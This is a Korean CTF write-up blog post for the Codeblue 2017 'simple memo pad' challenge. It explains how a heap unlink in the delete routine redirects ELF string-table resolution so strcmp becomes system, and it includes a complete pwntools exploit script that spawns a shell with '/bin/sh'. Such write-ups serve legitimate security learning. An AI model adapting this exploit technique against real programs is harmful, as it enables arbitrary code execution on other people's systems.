ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codeblue 2017 simple memo pad
    Pwnable/CTF 2018. 1. 17. 23:21

    return to dl-resolve 기법 공부를 다 하지 않고 풀어버렷다 ..
    대충 원리정도만 공부를 하고 find 명령어로 strtab주소를 가지고있는곳을 찾고

    그곳에 delete구문중 unlink가 있으니 delete를 이용하여서 strtab을 부르고있는? 주소인 0x601858에 2번째 청크 주소를 넣고



    1

    2

    3

    4

    5

    6

    LOAD:0000000000400418 ; ELF String Table

    LOAD:0000000000400418 byte_400418     db 0                    ; DATA XREF: LOAD:0000000000400298↑o

    LOAD:0000000000400418                                         ; LOAD:00000000004002B0↑o ...

     

     

    LOAD:000000000040047B aStrcmp         db 'strcmp',0           ; DATA XREF: LOAD:0000000000400370↑o

    cs


    위에서 0x40047b - 0x400418를 빼면 0x63이 나온다. 우리가 넣는 데이터는 struct + 0x10 부터이니 0x63 - 0x10을 뺀 0x53만큼 더미값을 넣고 system을 넣으면 strcmp가 호출되야될때 system이 호출될것이다.


    마지막 quit를 했을때 strcmp(내가 입력한 값,'y')로 함수를 호출하기때문에 system으로 변조하기 좋다.


     


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    from pwn import *
     
    p=process("./simple_memo_pad")
    elf=ELF("./simple_memo_pad")
     
    def write(content):
        p.recvuntil('> ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(content)
     
    def edit(idx,content):
        p.recvuntil('> ')
        p.sendline("2")
        p.recvuntil(': ')
        p.sendline(str(idx))
        p.recvuntil(': ')
        p.sendline(content)
     
    def delete(idx):
        p.recvuntil('> ')
        p.sendline("3")
        p.recvuntil(': ')
        p.sendline(str(idx))
     
    write("A"*0x53+"system\x00")
    write("B"*128)
    write("C"*128)
    edit(3,"a"*128+p64(0x601858-152))
    delete(3)
     
    p.recv(1024)
    p.sendline("5")
    p.recvuntil(':')
    p.sendline("/bin/sh")
     
     
    p.interactive()
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2017 Final building_owner  (0) 2018.01.21
    Christmas CTF 2017 BitcoinGallery  (0) 2018.01.18
    Codegate 2017 hunting  (0) 2018.01.17
    WITHCON 2017 bank  (0) 2018.01.15
    WITHCON 2017 combination  (0) 2018.01.12
Designed by Tistory.